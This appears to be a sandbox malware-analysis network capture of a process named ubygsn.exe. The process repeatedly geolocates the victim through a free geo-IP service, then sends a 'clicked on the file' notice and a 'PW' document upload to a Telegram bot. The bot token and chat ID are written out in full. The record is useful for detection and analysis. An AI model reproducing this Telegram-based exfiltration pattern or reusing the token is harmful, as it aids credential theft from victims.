2024-12-05 13:01:38 UTC	874	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 13:01:38 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 281121 Last-Modified: Mon, 02 Dec 2024 06:56:17 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hraW0hG3b25GBQyOEQM8eOJJK93Xk4ILnKcmifpLG7mKivqjXLsWpeL5vyx43OJku%2B%2FKSqqF4W53WYretQatZTl0aCcLAQnvvVkeSYmyS6pNknArjd86v3KZNTSQdeBk5mheo1Sb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ed439d92cae42e4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1758&min_rtt=1749&rtt_var=674&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1600877&cwnd=228&unsent_bytes=0&cid=23ca5954fedbc068&ts=852&x=0"
2024-12-05 13:01:38 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.228</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49771	104.21.67.152	443	3700	C:\Users\user\AppData\Local\Temp\ubygsn.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 13:01:39 UTC	61	OUT	GET /xml/8.46.123.228 HTTP/1.1 Host: reallyfreegeoip.org
2024-12-05 13:01:40 UTC	872	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 13:01:40 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 281123 Last-Modified: Mon, 02 Dec 2024 06:56:17 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tJjWVlOBNeCSl0F%2Bj79zqcIxDBfDYj0ExzjIpMbjLlPx4lsByTws8piaJGAn5gqiEG28OioC1a4rtbcbtZMIwauHMHhxq4e3KJOJAuFMbMgvPITFFYXV5TYoRbMMnveYJvz5ovJN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ed439e619727287-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1992&min_rtt=1990&rtt_var=751&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1452013&cwnd=185&unsent_bytes=0&cid=548f43bb75f08a58&ts=455&x=0"
2024-12-05 13:01:40 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.228</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49780	104.21.67.152	443	3700	C:\Users\user\AppData\Local\Temp\ubygsn.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 13:01:42 UTC	61	OUT	GET /xml/8.46.123.228 HTTP/1.1 Host: reallyfreegeoip.org
2024-12-05 13:01:43 UTC	882	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 13:01:43 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 281126 Last-Modified: Mon, 02 Dec 2024 06:56:17 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vJ%2BsVuT1NWaerDFRQU9gJtbvCUQ%2FAZ0ndqPJJH7YHKyHgfX99BnvW%2FH03lb8aIhImdE16fNhfKG87hUY59UvcX6chBrLv6mrWQD%2FxrLmOC%2BH7WYwMuCAFk%2By5B5ICXkB5nJfsBgS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ed439f93ee442d7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2023&min_rtt=1932&rtt_var=790&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2850&recv_bytes=699&delivery_rate=1511387&cwnd=243&unsent_bytes=0&cid=714c16ef5d55e246&ts=454&x=0"
2024-12-05 13:01:43 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.228</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49794	104.21.67.152	443	3700	C:\Users\user\AppData\Local\Temp\ubygsn.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 13:01:46 UTC	85	OUT	GET /xml/8.46.123.228 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-12-05 13:01:46 UTC	884	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 13:01:46 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 281129 Last-Modified: Mon, 02 Dec 2024 06:56:17 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=W5goL%2Fciva9HXWXla%2BHV7%2Bc7p6kNPX4RXzOAq3YGboTuSyoOyHzow%2F0gcze0%2FCETo3z516rYq%2F8MAsfUbt1u%2FhoEJWEkYXyPIocEX81zD9m4aTPL07hxgpnfhiw7rQuUWX8sQcEs"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ed43a0e4f9c41cd-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1735&min_rtt=1730&rtt_var=652&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2850&recv_bytes=699&delivery_rate=1687861&cwnd=227&unsent_bytes=0&cid=0b83f48795a4fddc&ts=454&x=0"
2024-12-05 13:01:46 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.228</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49805	104.21.67.152	443	3700	C:\Users\user\AppData\Local\Temp\ubygsn.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 13:01:49 UTC	85	OUT	GET /xml/8.46.123.228 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-12-05 13:01:49 UTC	878	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 13:01:49 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 281132 Last-Modified: Mon, 02 Dec 2024 06:56:17 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=R7v9%2FxaHA4CUxFnropGk2%2FVLfmxOqV7RSHMttFwKPk0oWvT9dXZVxICTtVIGD9RGInqhHblid9su%2FgeO%2FvrgL4kvOuFERX3KpvYUTo4bQwkb80rgsWYxKqnophVQ32Vd0R9IgcsO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ed43a215dd5c47a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1608&min_rtt=1597&rtt_var=622&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1727810&cwnd=242&unsent_bytes=0&cid=4061de5cdfe2c489&ts=450&x=0"
2024-12-05 13:01:49 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.228</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49820	104.21.67.152	443	3700	C:\Users\user\AppData\Local\Temp\ubygsn.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 13:01:52 UTC	85	OUT	GET /xml/8.46.123.228 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-12-05 13:01:52 UTC	881	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 13:01:52 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 281135 Last-Modified: Mon, 02 Dec 2024 06:56:17 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=irbemSO5nFcKZ58v8UT2V50dF96L8P2zsiHCF3X%2BWdzP72apMeLbW5Xadm%2FW%2Fi2c4UnI9Y9a5w3z1D8FCuXcUMqOxGwveb3u2TI7HdvKYtETMHz%2B3QM%2B10gCM11YRTYRICPrtgAX"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ed43a34a8df7291-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2384&min_rtt=1955&rtt_var=1040&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1493606&cwnd=218&unsent_bytes=0&cid=25d2353741a8a103&ts=470&x=0"
2024-12-05 13:01:52 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.228</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49834	104.21.67.152	443	3700	C:\Users\user\AppData\Local\Temp\ubygsn.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 13:01:55 UTC	85	OUT	GET /xml/8.46.123.228 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-12-05 13:01:55 UTC	882	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 13:01:55 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 281138 Last-Modified: Mon, 02 Dec 2024 06:56:17 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5C1ZS3C3K2%2Fta2fbk%2FZRgTylVLGuWfQHk%2BACjd7E1HzeENJatLnUi3gxlAOa3Gyetd7zYqa9Moja%2BoFni5XC%2BezP31UmKvdoJP0VffOTViJ7p6%2FKsCU3UDzeIYQeACWk6RAzlojj"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ed43a4788f24338-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1562&min_rtt=1555&rtt_var=597&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1811414&cwnd=192&unsent_bytes=0&cid=40cc7a7c2aa32771&ts=452&x=0"
2024-12-05 13:01:55 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.228</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49847	104.21.67.152	443	3700	C:\Users\user\AppData\Local\Temp\ubygsn.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 13:01:58 UTC	85	OUT	GET /xml/8.46.123.228 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-12-05 13:01:58 UTC	878	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 13:01:58 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 281141 Last-Modified: Mon, 02 Dec 2024 06:56:17 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DneVXFh%2F9Hqc9eViKjD8UnTzXrDGClJKJceXJ4Ya9RLIeq7yEMO7DdhvZARSWOxfPoqTCE9qnbRbe0f7z6crZ01CETESdan6%2F0ed8WhwHQaQvznJYHa%2B23vkLLg7rPrf9N%2BiEh2a"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ed43a5a49417d11-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2017&min_rtt=2011&rtt_var=767&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1414728&cwnd=227&unsent_bytes=0&cid=96348f24afc9f75b&ts=457&x=0"
2024-12-05 13:01:58 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.228</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49858	104.21.67.152	443	3700	C:\Users\user\AppData\Local\Temp\ubygsn.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 13:02:02 UTC	85	OUT	GET /xml/8.46.123.228 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-12-05 13:02:02 UTC	876	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 13:02:02 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 281145 Last-Modified: Mon, 02 Dec 2024 06:56:17 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=E0TSoUmE3erOsRCZrtS4%2Fk%2BAk97wHyzfrLH5VNnOTTb6vOSmR7og2Es4z6p%2FXNCBDKNr5a32dUCvWDIXetFHmCMxDGnFwVrGgwvbx0vm68GxKr29QmbUbSUmdCMqZ78DSFiRqL5H"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ed43a73ad0fc47f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1669&min_rtt=1665&rtt_var=634&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1714621&cwnd=252&unsent_bytes=0&cid=935a19a8f939741d&ts=750&x=0"
2024-12-05 13:02:02 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.228</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49863	149.154.167.220	443	3700	C:\Users\user\AppData\Local\Temp\ubygsn.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 13:02:04 UTC	349	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:105270%0D%0ADate%20and%20Time:%2006/12/2024%20/%2010:34:50%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20105270%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-12-05 13:02:05 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Thu, 05 Dec 2024 13:02:04 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-05 13:02:05 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49882	149.154.167.220	443	3700	C:\Users\user\AppData\Local\Temp\ubygsn.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 13:02:11 UTC	350	OUT	POST /bot7721085569:AAH1tkciy-nKykIEUNjOAUsItTcvNCVmFLo/sendDocument?chat_id=6236275763&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd1659e59db6a3 Host: api.telegram.org Content-Length: 584
